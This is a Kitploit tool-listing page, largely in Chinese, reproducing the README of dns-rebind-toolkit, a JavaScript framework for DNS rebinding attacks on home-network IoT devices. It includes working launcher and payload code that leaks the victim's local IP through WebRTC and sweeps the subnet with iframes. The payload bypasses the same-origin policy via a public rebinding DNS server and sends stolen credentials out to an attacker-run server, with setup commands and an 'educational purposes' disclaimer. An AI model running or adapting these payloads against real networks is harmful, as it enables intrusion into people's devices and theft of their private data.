Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dns-rebind-toolkit — 用于创建DNS重绑定攻击的前端JavaScript工具包。 | Kitploit
工具/GitHubGitHub/brannondorsey/dns-rebind-toolkit
侦察物联网安全漏洞利用Web应用程序漏洞利用信息收集渗透测试学习与教育红队DNS 分析
GitHubbrannondorsey/dns-rebind-toolkit

dns-rebind-toolkit

用于创建DNS重绑定攻击的前端JavaScript工具包。

查看仓库
502844年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

DNS Rebind 工具包

演示 | 安全公告 | 包含的载荷 | 常见问题

免责声明:本软件仅用于教育目的。本软件不得用于非法活动。作者对其使用不承担任何责任。别当混蛋。

DNS Rebind 工具包是一个前端 JavaScript 框架,用于针对局域网(LAN)上的脆弱主机和服务开发 DNS 重绑定 漏洞利用。它可用于攻击 Google Home、Roku、Sonos WiFi 音箱、WiFi 路由器、“智能”恒温器及其他物联网设备。使用此工具包,远程攻击者可以绕过路由器的防火墙,直接与受害者家庭网络上的设备交互,窃取隐私信息,在某些情况下甚至可以控制脆弱的设备本身。

该攻击要求目标网络上的受害者仅需点击一个链接,或浏览一个包含恶意 iframe 的 HTML 广告。之后,受害者的网页浏览器会被用作代理,直接访问连接到其家庭网络的其他主机。这些目标机器和服务通常无法从互联网被攻击者访问。远程攻击者可能不知道这些服务是什么,也不知道它们在受害者网络上占用哪些 IP 地址,但 DNS Rebind 工具包通过暴力猜测数百个可能的 IP 地址来处理这一问题。

在底层,该工具使用运行在 rebind.network:53 上的公共 whonow DNS 服务器 来执行 DNS 重绑定攻击,欺骗受害者的网页浏览器违反同源策略。然后,它利用 WebRTC 泄露受害者的私有 IP 地址,例如 192.168.1.36。它利用该本地 IP 地址的前三个八位组来猜测网络的子网,然后注入 256 个 iframe,从 192.168.1.0 到 255,向可能位于该网络子网上的每台主机发送载荷。

该工具包可用于开发和部署你自己的 DNS 重绑定攻击。工具包的 payloads/ 目录中包含几个真实世界的攻击载荷。这些载荷包括针对几款流行物联网设备(包括 Google Home 和 Roku 产品)的信息窃取(以及恶搞的“瑞克摇”)攻击。

该工具包是针对 DNS 重绑定攻击的独立安全研究的成果。你可以在此处阅读该原始研究。

快速开始

root@kitploit:~
# 克隆仓库
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# 安装依赖
npm install

# 使用 root 权限运行服务器以访问特权端口 80
# 该脚本提供 www/、/examples、/share 和 /payloads 目录中的文件
sudo node server

默认情况下,server.js 提供针对 Google Home、Roku、Sonos 音箱、飞利浦 Hue 灯泡和 Radio Thermostat 设备的载荷,这些设备分别在端口 8008、8060、1400、80 和 80 上运行服务。如果你的家庭网络中有这些设备之一,请访问 http://rebind.network 获取一个惊喜 ;)。打开开发者控制台,观察这些服务被无害地利用,数据从它们那里被窃取并外泄到 server.js。

API 与用法

该工具包提供了两个 JavaScript 对象,可以一起使用来创建 DNS 重绑定攻击:

  • DNSRebindAttack:此对象用于对运行在已知端口上的脆弱服务发起攻击。它会为你选择攻击的每个 IP 地址生成一个载荷。DNSRebindAttack 对象用于创建、管理和与多个 DNSRebindNode 对象通信。DNSRebindAttack 生成的每个载荷必须包含一个 DNSRebindNode 对象。
  • DNSRebindNode:此静态类对象应包含在每个 HTML 载荷文件中。它用于攻击一台主机上运行的一个服务。它可以与生成它的 DNSRebindAttack 对象通信,并且具有执行 DNS 重绑定攻击(使用 DNSRebindNode.rebind(...))以及将在攻击过程中发现的数据外泄到 server.js(DNSRebindNode.exfiltrate(...))的辅助函数。

这两个脚本一起使用,对受防火墙保护的局域网上的未知主机执行攻击。一个基本的攻击过程如下:

  1. 攻击者向受害者发送一个指向恶意 HTML 页面的链接,该页面会发起攻击:例如 http://example.com/launcher.html。launcher.html 包含一个 DNSRebindAttack 实例。
  2. 受害者点击攻击者的链接,或访问一个将 http://example.com/launcher.html 嵌入为 iframe 的页面。这导致 launcher.html 上的 DNSRebindAttack 开始攻击。
  3. DNSRebindAttack 使用 WebRTC 泄露 发现受害者机器的本地 IP 地址(例如 192.168.10.84)。攻击者利用此信息选择要在受害者局域网内攻击的 IP 地址范围(例如 192.168.10.0-255)。
  4. launcher.html 对受害者子网上的一个 IP 地址范围发起 DNS 重绑定攻击(使用 DNSRebindAttack.attack(...)),针对单个服务(例如端口 8008 上可用的未文档化的 Google Home REST API)。

请注意,如果用户网络上有台未知 IP 地址的 Google Home 设备,并且对整个 192.168.1.0/24 子网发起攻击,那么一个 DNSRebindNode 的重绑定攻击会成功,另外 254 个会失败。

示例

一次攻击由三个协调的脚本和文件组成:

  • 一个包含 DNSRebindAttack 实例的 HTML 文件(例如 launcher.html)
  • 一个包含攻击载荷的 HTML 文件(例如 payload.html)。该文件由 DNSRebindAttack 为每个被攻击的 IP 地址嵌入到 launcher.html 中。
  • 一个 DNS 重绑定工具包服务器(server.js),用于提供上述文件并在需要时外泄数据。

launcher.html

以下是一个 HTML 启动器文件的示例。你可以在 examples/launcher.html 中找到完整文档。

root@kitploit:~
<!DOCTYPE html>
<head>
	<title>Example launcher</title>
</head>
<body>
    <!-- This script is a depency of DNSRebindAttack.js and must be included -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack has a static method that uses WebRTC to leak the
    // browser's IP address on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick didn't work (doesn't work
        // in some browsers). No biggie, most home networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    function launchRebindAttack(localIp) {
        
        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // The first argument is the domain name of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've got one running on port 53 of rebind.network you can to use.
        // The services you are attacking might not be running on port 80 so 
        // you will probably want to change that too.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service
        // on each host of the subnet (or so we hope).
        // Arguments are:
        //  1) target ip addresses
        //  2) IP address your Node server.js is running on. Usually 127.0.0.1
        //     during dev, but then the publicly accessible IP (not hostname)
        //     of the VPS hosting this repo in production.
        //  3) the HTML payload to deliver to this service. This HTML file should
        //     have a DNSRebindNode instance implemented on in it.
        //  4) the interval in milliseconds to wait between each new iframe
        //     embed. Spawning 100 iframes at the same time can choke (or crash)
        //     a browser. The higher this value, the longer the attack takes,
        //     but the less resources it consumes.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes is also an EventEmitter, only this one is fired using
        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
        // iframes to post messages back to the parent DNSRebindAttack that
        // launched them. You can define custome events by simply emitting
        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
        // can receive it. That said, there are a few standard event names that
        // get triggered automagically:
        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an attack has been launched (or at least, it's payload was
        //    delivered) against an IP address.
        //  - rebind: the DNS rebind was successful, this node should now be
        //    communicating with the target service.
        //  - exfiltrate: send JSON data back to your Node server.js and save
        //    it inside the data/ folder.
        // Additionally, the DNSRebindNode.destroy() static method
        // will trigger the 'destory' event and cause DNSRebindAttack to
        // remove the iframe.

        rebind.nodes.on('begin', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was successful
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON data was exfiltrated and saved to the data/
            // folder on the remote machine hosting server.js
            
            console.log('node exfiltrate', ip, data)
            
            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

payload.html

以下是一个 HTML 载荷文件的示例。你可以在 examples/payload.html 中找到完整文档。

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // there was an error at some point during the attack
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // remove this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the attack and returns a promise that is resolved if the target
    // service is found and correctly exploited, or more likely, rejected because
    // this host doesn't exist, the target service isn't running, or something
    // went wrong with the exploit. Remember that this attack is being launched
    // against 255+ IP addresses, so most of them won't succeed.
    async function attack() {

        // DNSRebindNode has some default fetch options that specify things
        // like no caching, etc. You can re-use them for convenience, or ignore
        // them and create your own options object for each fetch() request.
        // Here are their default values:
        // {
        //     method: "GET",
        //     headers: {
        //         // this doesn't work in all browsers. For instance,
        //         // Firefox doesn't let you do this.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // In this example, we'll pretend we are attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe those creds, we need to first perform the rebind
            // attack. Most likely, our webserver will cache the DNS results
            // for this page's host. DNSRebindNode.rebind(...) recursively
            // re-attempts to rebind the host with a new, target IP address.
            // This can take over a minute, and if it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these options get passed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is considered successful
                // if it receives an HTTP 200 OK response from the target service.
                // However, you can define any kind of "rebind success" scenario
                // yourself with the successPredicate(...) function. This
                // function receives a fetch result as a parameter and the return
                // value determines if the rebind was successful (i.e. you are
                // communicating with the target server). Here we check to see
                // if the fetchResult was sent by our example vulnerable server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take up to over a minute depending on the 
            // victim's DNS cache settings or if there is no host listening on
            // the other side.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // never cleared, or more likely, this service isn't running on the
            // target host. Oh well... Bubble up the rejection and have our
            // attack()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        try {
            // alrighty, now that we've rebound the host and are communicating
            // with the target service, let's grab the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // great, now let's exfiltrate those creds to the Node.js server
            // running this whole shebang. That's the last thing we care about,
            // so we will just return this promise as the result of attack()
            // and let its handler's deal with it.
            //
            // NOTE: the second argument to exfiltrate(...) must be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

server.js

该脚本用于提供 launcher.html 和 payload.html 文件,以及接收并保存来自 DNSRebindNode 的外泄数据到 data/ 文件夹。在开发过程中,我通常会在 localhost 上运行此服务器,并将 DNSRebindAttack.attack(...) 指向 127.0.0.1。生产环境中,我会在 VPS 云服务器上运行此服务器,并将 DNSRebindAttack.attack(...) 指向其公共 IP 地址。

root@kitploit:~
# 以管理员权限运行以打开端口 80
sudo node server
root@kitploit:~
usage: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this help message and exit.
  -v, --version         Show program's version number and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May include 
                        multiple like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

更多示例

我在 examples/vulnerable-server.js 中包含了一个示例脆弱服务器。该脆弱服务必须在网络上另一台机器上运行,因为其端口必须与 server.js 的端口相同。要自行运行此示例攻击,请执行以下操作:

辅助计算机

root@kitploit:~
# 克隆仓库
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# 启动脆弱服务器
node examples/vulnerable-server
# ...
# 脆弱服务器正在监听 3000

主计算机

root@kitploit:~
node server --port 3000

现在,在浏览器中访问 http://localhost:3000/launcher.html 并打开开发者控制台。等待一两分钟,如果攻击成功,你应该会看到从辅助计算机上运行的脆弱服务器中转储的凭据信息。

请查看 examples/ 和 payloads/ 目录以获取更多示例。

文件和目录

  • server.js:DNS 重绑定工具包服务器
  • payloads/:几个手工制作的 HTML 载荷文件,用于攻击一些脆弱的物联网设备。目前包括针对 Google Home、Roku 和 Radio Thermostat 的攻击。我希望未来有更多载荷添加到该仓库(欢迎提交 PR!)
  • examples/:示例用法文件。
  • data/:由 DNSRebindNode.exfiltrate(...) 外泄的数据保存到此目录。
  • share/:examples/ 和 payloads/ 中多个 HTML 文件共享的 JavaScript 文件目录。

该工具包旨在成为研究人员和渗透测试人员的有用工具。如果你想了解导致其创建的一些研究,请查看这篇文章。如果你为其他服务编写了载荷,请考虑向该仓库提交 PR,以便他人能从你的工作中受益!

下载工具
  • 按用户定义的间隔(默认为 200 毫秒),DNSRebindAttack 将一个包含 payload.html 的 iframe 嵌入到 launcher.html 页面中。每个 iframe 包含一个 DNSRebindNode 对象,该对象对正在攻击的 IP 地址范围中单个主机的端口 8008 执行攻击。此注入过程持续进行,直到为攻击目标中的每个 IP 地址都注入了一个 iframe。
  • 每个被注入的 payload.html 文件使用 DNSRebindNode 尝试与 whonow DNS 服务器 通信来执行重绑定攻击。如果成功,则违反同源策略,payload.html 可以直接与 Google Home 产品通信。通常,payload.html 会被编写成向目标设备发出若干 API 调用,并在攻击结束并销毁自身之前将结果外泄到运行在 example.com 上的 server.js。